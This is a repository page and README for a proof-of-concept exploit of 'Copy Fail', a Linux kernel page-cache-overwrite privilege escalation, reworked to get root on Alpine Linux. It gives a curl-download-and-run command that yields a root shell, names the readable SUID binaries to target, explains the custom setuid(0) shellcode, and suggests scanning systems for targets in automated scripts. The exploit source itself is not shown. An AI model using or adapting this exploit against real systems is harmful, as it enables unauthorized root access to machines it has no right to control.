1
0
Fork
You've already forked copyfail
0
Copy Fail PoC that works on Alpine
  • Assembly 45.4%
  • Makefile 31%
  • Python 23.6%
2026年05月02日 00:00:24 +04:00
.gitignore new elf payload 2026年05月01日 14:14:38 +04:00
encode.py feat: build final poc script 2026年05月01日 21:47:23 +04:00
main.arm64.s feat: optimize binaries more 2026年05月01日 21:21:16 +04:00
main.x64.asm feat: optimize binaries more 2026年05月01日 21:21:16 +04:00
main.x86.asm feat: optimize binaries more 2026年05月01日 21:21:16 +04:00
Makefile style(build): use simply-expanded vars 2026年05月01日 22:16:37 +04:00
poc.tmpl.py feat: build final poc script 2026年05月01日 21:47:23 +04:00
README.md docs: add readme 2026年05月02日 00:00:24 +04:00

Copy Fail

TL;DR

$ curl https://git.dc09.xyz/DarkCat09/copyfail/releases/download/v1.0.0/poc.x86.py >poc.py
$ python3 poc.py
# id
uid=0(root) ...

Description

Copy Fail is a Local Privilege Escalation vulnerability in the Linux cryptography subsystem present in kernel versions from 4.14 to 6.18.22/6.19.12. It was found by Theori researchers with the help of Xint Code.

See the detailed write-up here

This vulnerability allows to overwrite page cache (in-memory file cache). Particularly, we're interested in modifying the contents of a binary with SUID bit set, e. g. /usr/bin/su.

But the original PoC doesn't work at least on Alpine Linux and NixOS. Why?

Problem

  1. The exploit requires the target SUID binary to be readable by the current user.
    Some distros are more concerned about security than others, so they (long before Copy Fail was published) made su executable but not readable — it's permissions are --s--x--x.
    PoC script fails with Permission denied.
  2. The embedded shellcode of the PoC, an x86-64 static ELF, calls /bin/sh without any arguments (argv is set to NULL), so sh does not get even the 0th argument that should contain the binary path.
    Alpine's sh is a symlink to Busybox. Busybox reads argv[0] to distinguish which applet to run by looking at the executed binary name.
    PoC script fails to run a shell with a message: : applet not found.

Solution

  1. Find a different SUID program that is readable. By default, su, passwd and mount are all provided by Busybox and symlinked to bbsuid, which makes it impossible to run an exploit against these binaries.
    If either doas, sudo or polkit is installed on the target system, /usr/bin/doas, sudo or pkexec (respectively) can be used to exploit Copy Fail. For some reason, these third-party packages are not secured the same way as bbsuid and the listed binaries are readable to anyone.
    If shadow is installed on the target system, /usr/bin/passwd, chsh or chfn can be used to exploit Copy Fail.
  2. Replace the embedded shellcode. This is not a trivial task since the exploit requires a very small binary, because we're overwriting the page cache by 4-byte chunks, opening a new AF_ALG socket every time, so even an 8K file hits ulimit.
    I, as a non-expert in the infosec, can't write shellcode by hand, but can reimplement the logic in Assembler without using any C runtime, doing syscalls directly. And, indeed, that reduced the binary size to only 800 bytes (but only when using LLVM's LLD as a linker).
    Note: we can't just put a shell script here, like #!/bin/sh\nsh -i, because SUID bit gives an Effective UID of an owner, but not a Real UID, and, for security reasons, any shell including ash and bash, drop root privileges in such case. That's why the provided shellcode calls setuid(0) first.

Ready script

Fixed PoC script is published here:

/usr/bin/doas is hard-coded as a target SUID binary. Replace if needed. Ideally, in case you are writing an automated script, you should scan a system for readable SUID programs and run the exploit on them.

To restore the overwritten program, run echo 3 >/proc/sys/vm/drop_caches as root.